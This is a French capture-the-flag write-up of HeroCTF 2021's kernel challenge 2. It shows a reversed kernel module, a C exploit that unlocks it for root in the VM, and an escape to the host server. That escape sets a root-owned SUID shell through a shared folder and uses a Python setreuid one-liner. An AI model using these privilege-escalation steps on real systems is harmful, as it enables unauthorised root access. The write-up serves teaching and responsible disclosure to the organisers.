HeroCTF 2021 - Rooter l'infra, for fun and CTF points

Table des matières :

Category : Kernel

Points : 175

Message from : Mom 23/04/21 22:00

Hey sweetie !

I placed a little gift for you in the living room.
It’s in a box that’s locked though.
The key’s in the safe, and this time I locked it with a password.
Love you ! xoxo

PS : Happax seems to be back to normal.

Connection via ssh -p 4822 kern2@ai.heroctf.fr, mot de passe kern2_tig

Format : Hero{}

Author : iHuggsy

Informations sur le challenge

Ce challenge de Kernel exploit (2ème de la série), utilise une machine virtuelle basée sur QEMU. Pour accéder au challenge, il faut se connecter via SSH à un serveur (que nous appellerons hostserver dans la suite de ce writeup), sur lequel nous trouvons les fichiers du challenge :

[hostserver]$ ls -lah
total 9,9M
drwxrwxr-x 2 kern2  kern2 4,0K mai    2 12:33 .
drwxrwxr-x 3 kern2  kern2 4,0K mai    2 12:37 ..
-rwxrwxr-x 1 kern2  kern2 9,2M mai    2 12:33 bzImage
-rwxrwxr-x 1 kern2  kern2 673K mai    2 12:33 initramfs
-rwsrwxrwx 1 root   root   16K mai    2 12:33 run
-rwxrwxr-x 1 kern2  kern2  667 mai    2 12:33 .run_vm
[hostserver]$

Une fois que nous sommes connectés en SSH, nous devons lancer le wrapper SUID ./run, pour démarrer et accéder à la VM du challenge. Lorsque nous la démarrons, nous obtenons un terminal dans la VM :

$ ./run

Welcome to the kernel challenge #1 !
---- Your share : host:/tmp/tmp.3HqGwGi8y5 -> guest:/mnt/share ----
- Use CTRL+Z to put qemu in the background
- Use CTRL+* to exit the VM (shutdown)
- If qemu is in the background, use the 'fg' command to return to the vm


 **      **                           ******  ********** ********
/**     /**                          **////**/////**/// /**/////
/**     /**  *****  ******  ******  **    //     /**    /**      
/********** **///**//**//* **////**/**           /**    /*******
/**//////**/******* /** / /**   /**/**           /**    /**////  
/**     /**/**////  /**   /**   /**//**    **    /**    /**      
/**     /**//******/***   //******  //******     /**    /**      
//      //  ////// ///     //////    //////      //     //       

===============     Locked safe (by @iHuggsy)     ===============
=                      Kernel Challenge #2                      =
=             This time, you have to open the safe !            =
=================================================================

/ $ ls
bin          etc          mnt          root         sbin
dev          flag.txt     proc         safe_mod.ko  sys
/ $

Nous pouvons récupérer le module kernel safe_mod.ko grâce au dossier partagé entre la VM et le serveur host.

Résolution du challenge Kernel 2

Tout d’abord, un petit peu de reverse sur le module kernel safe_mod.ko s’impose pour bien comprendre ce qu’il fait. Pour cela, j’ai utilisé IDA qui a décompilé le module sans trop de soucis, et j’ai obtenu cette fonction device_file_write :

void device_file_write.cold(void) {
  char cVar1;
  char cVar2;
  long user_input;
  size_t maxlen;
  char * matched_index;
  char * unaff_R12;
  int index;
  long in_GS_OFFSET;

  index = 0;
  user_input = _copy_from_user();
  if (user_input == 0) {
    while (index < strlen(v2)) {
      v4 = (char * ) & user_input[index];
      v5 = *v4;
      if ( *v4 == 0xa || *v4 == 0x0) break;
      if ((unsigned __int8)(v5 - 65) > 0x19u) {
        v12 = v5;
        v13 = v5 + 13;
        v14 = v5 - 13;
        if (v12 + 13 <= 122)
          v14 = v13;
        *v4 = v14;
      } else {
        v6 = v5 + 13;
        v7 = v5 - 13;
        if (v6 <= 90)
          v7 = v6;
        *v4 = v7;
      }
      index += 1;
    }
    matched_index = strstr(user_input, "OpenSesame");
    if (matched_index != (char * ) 0x0) {
      if ( * (long * )( & current_task + in_GS_OFFSET) == 0) {
        printk( & DAT_00100348);
      } else {
        printk( & DAT_00100378, (ulong) * (uint * )( * (long * )( & current_task + in_GS_OFFSET) + 0x4e8));
        user_input = prepare_creds();
        if (user_input == 0) {
          printk( & DAT_001003a8);
        } else {
          *(undefined4 * )(user_input + 0x14) = 0;
          *(undefined4 * )(user_input + 4) = 0;
          *(undefined4 * )(user_input + 0x18) = 0;
          *(undefined4 * )(user_input + 8) = 0;
          commit_creds(user_input);
        }
      }
    }
    kfree();
  }
  return;
}

Dans cette fonction se trouve un bloc très intéressant, qui modifie le mot de passe entré par l’utilisateur, avant de le comparer à la valeur OpenSesame :

while (index < strlen(v2)) {
  v4 = (char * ) & user_input[index];
  v5 = *v4;
  if ( *v4 == 0xa || *v4 == 0x0) break;
  if ((unsigned __int8)(v5 - 65) > 0x19u) {
    v12 = v5;
    v13 = v5 + 13;
    v14 = v5 - 13;
    if (v12 + 13 <= 122)
      v14 = v13;
    *v4 = v14;
  } else {
    v6 = v5 + 13;
    v7 = v5 - 13;
    if (v6 <= 90)
      v7 = v6;
    *v4 = v7;
  }
  index += 1;
}
matched_index = strstr(user_input, "OpenSesame");

Comme nous avons un code décompilé assez cohérent, il était assez simple de réimplémenter cette fonction en python :

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

def transform(v2):
    v2 = list(v2)
    k = 0
    while k < len(v2):
        letter = v2[k]
        if letter == 0xa:
            break
        if (letter - 65) > 0x19:
            v13 = letter + 13
            v14 = letter - 13
            if (letter + 13) <= 122:
                v2[k] = v13
            else:
                v2[k] = v14
        else:
            v6 = letter + 13
            v7 = letter - 13
            if (letter + 13) <= 90:
                v2[k] = v6
            else:
                v2[k] = v7
        k += 1
    return bytes(v2)

if __name__ == '__main__':
    target = b"OpenSesame"
    inv_input = transform(target)
    if transform(inv_input) == target:
        print("[+] Function is involutive !")
        print("[+] input should be : %s" % inv_input.decode('UTF-8'))

Coup de chance pour nous ! La fonction est involutive (i.e. f(f(x)) == x) ! Cela signifie que nous pouvons calculer simplement transform(b"OpenSesame") pour obtenir l’entrée attendue à la fonction.

[+] Function is involutive !
[+] input should be : BcraFrfnzr

Nous connaissons maintenant la chaîne à envoyer au module kernel via /dev/safe pour passer l’UID de notre processus à 0 (pour passer le processus en root). Nous allons donc écrire un programme C pour ouvrir /dev/safe et envoyer le mot de passe BcraFrfnzr au char device /dev/safe :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

// gcc -static exploit.c -o exploit

int main(){
    char ch;
    FILE * fd;
    fd = fopen("/dev/safe","rw+");
    if(fd == NULL) {
        fprintf(stdout, "fopen('/dev/safe') failed: %s\n", strerror(errno));
    }
    fputs("BcraFrfnzr\n",fd);
    while((ch = fgetc(fd)) != EOF) printf("%c", ch);
    fclose(fd);
    printf("[+] Openning shell ...\n");
    system("/bin/sh");
}

Nous posons ce fichier dans le dossier /tmp/tmp.3HqGwGi8y5 présent sur le serveur hébergeant la VM, et nous le compilons avec gcc -static exploit.c -o exploit :

[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 84K
drwxrwxrwx   2 kern2  kern2  4,0K mai    6 21:49 .
drwxrwxrwt 173 root   root    76K mai    6 21:49 ..
[hostserver]:/tmp/tmp.3HqGwGi8y5$ nano exploit.c
[hostserver]:/tmp/tmp.3HqGwGi8y5$ gcc -static exploit.c -o exploit
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 952K
drwxrwxrwx   2 kern2  kern2  4,0K mai    6 21:50 .
drwxrwxrwt 173 root   root    76K mai    6 21:50 ..
-rwxrwxr-x   1 kern2  kern2  862K mai    6 21:50 exploit
-rw-rw-r--   1 kern2  kern2   463 mai    6 21:50 exploit.c
[hostserver]:/tmp/tmp.3HqGwGi8y5$

Ensuite, nous retournons dans notre VM, et nous allons dans /mnt/share pour accéder à notre répertoire partagé :

 **      **                           ******  ********** ********
/**     /**                          **////**/////**/// /**/////
/**     /**  *****  ******  ******  **    //     /**    /**      
/********** **///**//**//* **////**/**           /**    /*******
/**//////**/******* /** / /**   /**/**           /**    /**////  
/**     /**/**////  /**   /**   /**//**    **    /**    /**      
/**     /**//******/***   //******  //******     /**    /**      
//      //  ////// ///     //////    //////      //     //       

===============     Locked safe (by @iHuggsy)     ===============
=                      Kernel Challenge #2                      =
=             This time, you have to open the safe !            =
=================================================================

/ $ cd /mnt/share
/mnt/share $ ls -lha
total 872K   
drwxrwxrwx    2 user     1000        4.0K May  6 19:50 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 1002     1002      861.4K May  6 19:50 exploit
-rw-rw-r--    1 1002     1002         463 May  6 19:50 exploit.c
/mnt/share $

Nous lançons notre exploit, et nous devenons root :

/mnt/share $ id
uid=1000(user) gid=1000 groups=1000
/mnt/share $ ./exploit
The safe is locked. Enter the password first.
[+] Openning shell ...
/mnt/share # id
uid=0 gid=0 groups=1000
/mnt/share # cat /flag.txt
Hero{y0u_c4n_4ls0_Wr1t3_?!!}
/mnt/share #

Et nous pouvons valider l’épreuve avec le flag Hero{y0u_c4n_4ls0_Wr1t3_?!!} ! Mais … est ce tout ce que nous pouvons faire ?

Privilège escalation sur le serveur hôte

Lorsque j’ai terminé ce challenge kernel (et devenu root dans la VM), je m’apprêtais à passer à un autre challenge lorsque j’ai remarqué quelquechose de très intéressant à l’intérieur de la VM du challenge :

/mnt/share $ id
uid=1000(user) gid=1000 groups=1000
/mnt/share $ ls -lha
total 872K   
drwxrwxrwx    2 user     1000        4.0K May  6 19:50 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 1002     1002      861.4K May  6 19:50 exploit
-rw-rw-r--    1 1002     1002         463 May  6 19:50 exploit.c
/mnt/share $

Vous le voyez vous aussi ? Regardez bien à quel utilisateur appartient les fichiers d’exploit. L’utilisateur 1002, or il n’y a pas de user avec cet id dans la VM, alors que ce passe t’il ?

Dans la configuration où nous nous trouvons, un dossier est partagé entre la VM du challenge et le serveur hôte. Ce dossier permet aux joueurs de déposer leur exploits dans un dossier du serveur hôte pour les transférer simplement dans la VM du challenge. C’est très pratique pour le challenge, mais très dangereux en l’état. Le fait que l’id utilisateur 1002 apparaisse dans la VM du challenge nous laisse penser que les propriétés des fichiers (owners, groups, suid …) sont conservées à travers le dossier partagé. Cela signifie que si l’on change ces propriétés dans l’un des deux dossiers (/mnt/share sur la VM du challenge ou /tmp/tmp.3HqGwGi8y5 sur le serveur hôte), elles seront changées dans les deux. Par exemple, depuis le dossier /tmp/tmp.3HqGwGi8y5 sur le serveur hôte, nous allons copier le binaire /bin/sh pour le mettre dans le share. Il appartient donc à notre utilisateur courant sur le serveur hôte, l’utilisateur kern2.

[hostserver]:/tmp/tmp.3HqGwGi8y5$ cp /bin/sh .
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 1,1M
drwxrwxrwx   2 root   root   4,0K mai    6 22:09 .
drwxrwxrwt 173 root   root    76K mai    6 22:09 ..
-rwxrwxr-x   1 kern2  kern2  862K mai    6 22:09 exploit
-rw-rw-r--   1 kern2  kern2   463 mai    6 22:09 exploit.c
-rwxr-xr-x   1 kern2  kern2  127K mai    6 22:09 sh
[hostserver]:/tmp/tmp.3HqGwGi8y5$

Dans le dossier /mnt/share sur la VM du challenge, nous allons changer le propriétaire du fichier sh que nous venons de créer pour le donner à root (id = 0), et nous allons également placer tous les bits SUID à 1 :

/mnt/share # id
uid=0 gid=0 groups=1000
/mnt/share # ls -lha
total 1000K  
drwxrwxrwx    2 0        0           4.0K May  6 20:09 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 user     1000      861.4K May  6 20:09 exploit
-rw-rw-r--    1 user     1000         463 May  6 20:09 exploit.c
-rwxr-xr-x    1 user     1000      126.8K May  6 20:09 sh
/mnt/share # chown 0:0 ./sh && chmod 7777 ./sh
/mnt/share # ls -lha
total 1000K  
drwxrwxrwx    2 0        0           4.0K May  6 20:09 .
drwxrwxr-x    3 user     1000          60 Apr 17 09:30 ..
-rwxrwxr-x    1 user     1000      861.4K May  6 20:09 exploit
-rw-rw-r--    1 user     1000         463 May  6 20:09 exploit.c
-rwsrwsrwt    1 0        0         126.8K May  6 20:09 sh
/mnt/share #

Maintenant que tout est prêt, nous retournons dans notre dossier partagé /tmp/tmp.3HqGwGi8y5 sur le serveur hôte, et nous lançons notre shell SUID :

[hostserver]:/tmp/tmp.uq8fcKEQPW$ ls -lha
total 1,1M
drwxrwxrwx   2 root   root   4,0K mai    6 22:09 .
drwxrwxrwt 173 root   root    76K mai    6 22:09 ..
-rwxrwxr-x   1 kern2  kern2  862K mai    6 22:09 exploit
-rw-rw-r--   1 kern2  kern2   463 mai    6 22:09 exploit.c
-rwsrwsrwt   1 root   root   127K mai    6 22:09 sh
[hostserver]:/tmp/tmp.uq8fcKEQPW$ ./sh -p
$ id
uid=1000(kern2) gid=1000(kern2) euid=0(root) egid=0(root) groups=0(root),1000(kern2)
$

Les droits sont bien passés, comme nous le voyons j’ai un shell avec euid=0(root) egid=0(root). Pour effectuer des actions plus poussées sans être limité, il est intéressant d’avoir un véritable shell avec uid=0(root). Pour cela, nous pouvons utiliser python pour passer d’un euid à un uid, grâce à cette payload :

python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'

J’ai lancé cette payload, et j’ai ensuite obtenu un véritable shell root :

$ id
uid=1000(kern2) gid=1000(kern2) euid=0(root) egid=0(root) groups=0(root),1000(kern2)
$ python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'
# id
uid=0(root) gid=0(root) groups=0(root)

Je suis donc maintenant root sur le serveur hôte des challenges kernel du HeroCTF !

Final POC

Et cette fois, c’est moi qui ai placé le flag \o/, en prime j’ai eu 50 points bonus pour avoir signalé cette vulnérabilité aux admins :

Award